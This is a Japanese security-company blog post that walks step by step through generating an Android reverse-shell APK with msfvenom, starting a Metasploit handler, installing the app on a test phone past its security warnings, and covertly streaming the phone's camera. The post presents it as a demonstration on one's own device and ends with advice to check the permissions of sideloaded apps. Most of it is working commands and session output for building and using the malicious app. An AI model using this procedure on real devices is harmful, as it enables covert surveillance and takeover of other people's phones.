Armoris日記 Android app HTTP Reverse Shell編

このブログは、昨年3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

HTTP Reverse Shellを行うAndroidアプリ

2021年最初のArmoris日記ではKali Linuxを使用してHTTP Reverse Shellを行うアプリを作成し、検証端末のカメラ映像取得を試します。

検証には自身で管理する端末を使用し、自己責任でお願いします

今回はツールを使用してAndroidアプリを作成するため、JavaAndroidアプリに関する知識がなくても簡単に試すことができます。

検証環境

検証にあたり使用した環境とバージョンは以下のとおりです。

Name Version
Android 7.0
Kali Linux 2020.04
apktool 2.5.0

検証環境準備

まずはAndroidアプリを作成するためのツールを準備します。
まずはapktoolをインストールします。
公式:APKTOOL

root@kali-linux:~# cd /usr/local/bin
root@kali-linux:/usr/local/bin# wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/osx/apktool
root@kali-linux:/usr/local/bin# wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.5.0.jar
root@kali-linux:/usr/local/bin# chmod a+x ./

インストールの確認

root@kali-linux:/usr/local/bin# apktool -v
Apktool v2.5.0 - a tool for reengineering Android apk files
with smali v2.4.0 and baksmali v2.4.0
Copyright 2010 Ryszard Wiśniewski 
Copyright 2010 Connor Tumbleson 

usage: apktool
 -advance,--advanced   prints advance information.
 -version,--version    prints the version then exits
usage: apktool if|install-framework [options] 
 -p,--frame-path    Stores framework files into .
 -t,--tag           Tag frameworks using .
usage: apktool d[ecode] [options] 
 -f,--force              Force delete destination directory.
 -o,--output        The name of folder that gets written. Default is apk.out
 -p,--frame-path    Uses framework files located in .
 -r,--no-res             Do not decode resources.
 -s,--no-src             Do not decode sources.
 -t,--frame-tag     Uses framework files tagged by .
usage: apktool b[uild] [options] 
 -f,--force-all          Skip changes detection and build all files.
 -o,--output        The name of apk that gets written. Default is dist/name.apk
 -p,--frame-path    Uses framework files located in .

For additional info, see: https://ibotpeaches.github.io/Apktool/
For smali/baksmali info, see: https://github.com/JesusFreke/smali

zipalignをインストールします。

root@kali-linux:/usr/local/bin# apt -y install zipalign

関連パッケージをインストールします。

root@kali-linux:/usr/local/bin# apt -y install lib32stdc++6 lib32z1 lib32z1-dev

ペイロード作成

各種インストールが完了したら実際にAndroid用のapkを作成します。
LHOST/LPORTは自身の環境に合わせて設定します。

root@kali-linux:/home/user/Desktop/Android-app-ReverseHTTP# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.50.131 LPORT=6544 -o ./payload.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10188 bytes
Saved as: ./payload.apk
root@kali-linux:/home/user/Desktop/Android-app-ReverseHTTP# ls
payload.apk

ペイロード実行

ペイロードの生成が完了したら検証端末にインストールして実行します。
まずはKali Linuxで接続を待ち受けます。

┌──(user㉿kali-linux)-[~/Desktop/Android-app-ReverseHTTP]
└─$ msfconsole

Metasploit tip: Enable verbose logging with set VERBOSE
true

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.50.131
lhost => 192.168.50.131
msf6 exploit(multi/handler) > set lport 6544
lport => 6544
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (android/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.50.131    yes       The listen address (an interface may be specified)
   LPORT  6544             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.50.131:6544

検証端末にpayload.apkをインストールします。
f:id:Armoris:20210108195414j:plain

インストールを選択すると以下のようにアラートが出る場合がありますが、そのままインストールするを選択します。
f:id:Armoris:20210108195456j:plain

以下のようアラートが出る場合は送信しないを選択します。
f:id:Armoris:20210108195600j:plain

画像のような画面になったら開くを選択します。
f:id:Armoris:20210108195705j:plain

開くを選択すると以下のようにセッションが確立されます。

[*] Started reverse TCP handler on 192.168.50.131:6544
[*] Sending stage (76756 bytes) to 192.168.50.149
[*] Meterpreter session 5 opened (192.168.50.131:6544 -> 192.168.50.149:38322) at 2021-01-08 19:49:06 +0900

meterpreter >

カメラ映像を取得

いよいよ本題であるカメラ映像の取得を試します。
セッションが確立したmeterpreterで以下のコマンドを実行します。

meterpreter > webcam_stream -i 1
[*] Starting...
[*] Preparing player...
[*] Opening player at: /home/user/Desktop/Android-app-ReverseHTTP/JKCDoUut.html
[*] Streaming...

コマンド実行後自動的にブラウザが立ち上がり以下のようにカメラ映像を取得することができます。
f:id:Armoris:20210108200004p:plain

この時のKali Linuxでのログは以下のようになっています。
ログを見ると画像データを定期的に取得して表示していることがわかります。

meterpreter > webcam_stream -i 1
[*] Starting...
[*] Preparing player...
[*] Opening player at: /home/user/Desktop/Android-app-ReverseHTTP/JKCDoUut.html
[*] Streaming...
[18470:18470:0108/170434.257084:ERROR:edid_parser.cc(102)] Too short EDID data: manufacturer id
libva error: vaGetDriverNameByIndex() failed with unknown libva error, driver_name = (null)
[18511:18511:0108/170434.447249:ERROR:vaapi_wrapper.cc(480)] vaInitialize failed: unknown libva error
[18511:18511:0108/170434.479745:ERROR:sandbox_linux.cc(374)] InitializeSandbox() called with multiple threads in process gpu-process.
Corrupt JPEG data: premature end of data segment
Corrupt JPEG data: 200370 extraneous bytes before marker 0xd9
Corrupt JPEG data: 128 extraneous bytes before marker 0xdb
Corrupt JPEG data: 399 extraneous bytes before marker 0xd2
Corrupt JPEG data: 143 extraneous bytes before marker 0xd2
Corrupt JPEG data: 24 extraneous bytes before marker 0xfd
Corrupt JPEG data: 271 extraneous bytes before marker 0xd2
Corrupt JPEG data: 328 extraneous bytes before marker 0x13
Corrupt JPEG data: premature end of data segment
[18470:18470:0108/170617.294903:ERROR:edid_parser.cc(102)] Too short EDID data: manufacturer id
[18470:18470:0108/170617.327342:ERROR:edid_parser.cc(102)] Too short EDID data: manufacturer id
Corrupt JPEG data: 7 extraneous bytes before marker 0xd9
Corrupt JPEG data: 456 extraneous bytes before marker 0x13
Corrupt JPEG data: 10 extraneous bytes before marker 0xc0
Corrupt JPEG data: 10 extraneous bytes before marker 0xc0
Corrupt JPEG data: 128 extraneous bytes before marker 0xdb
Corrupt JPEG data: 128 extraneous bytes before marker 0xdb

コマンド実行時の-iオプションの数字を2にすることで内側のカメラ映像を取得することができます。

この時対象端末でカメラアプリを起動使用すると以下のようにエラーが発生します。
f:id:Armoris:20210108200550j:plain

最後に

今回はHTTP Reverse Shellを仕込んだAndroidアプリを作成し、実際に端末のカメラから映像を取得しました。手順を見てもわかるように、Payloadアプリの作成から映像取得まで容易に行うことが確認できたと思います。
また、インストール時の許可設定も非常に多くほぼ全ての権限を要求しています。

今後公式ストア以外から直接.apkファイルをダウンロードしてインストールする場合は、権限の要求内容などもよく確認してみてください。

検証には自身で管理する端末を使用し、自己責任でお願いします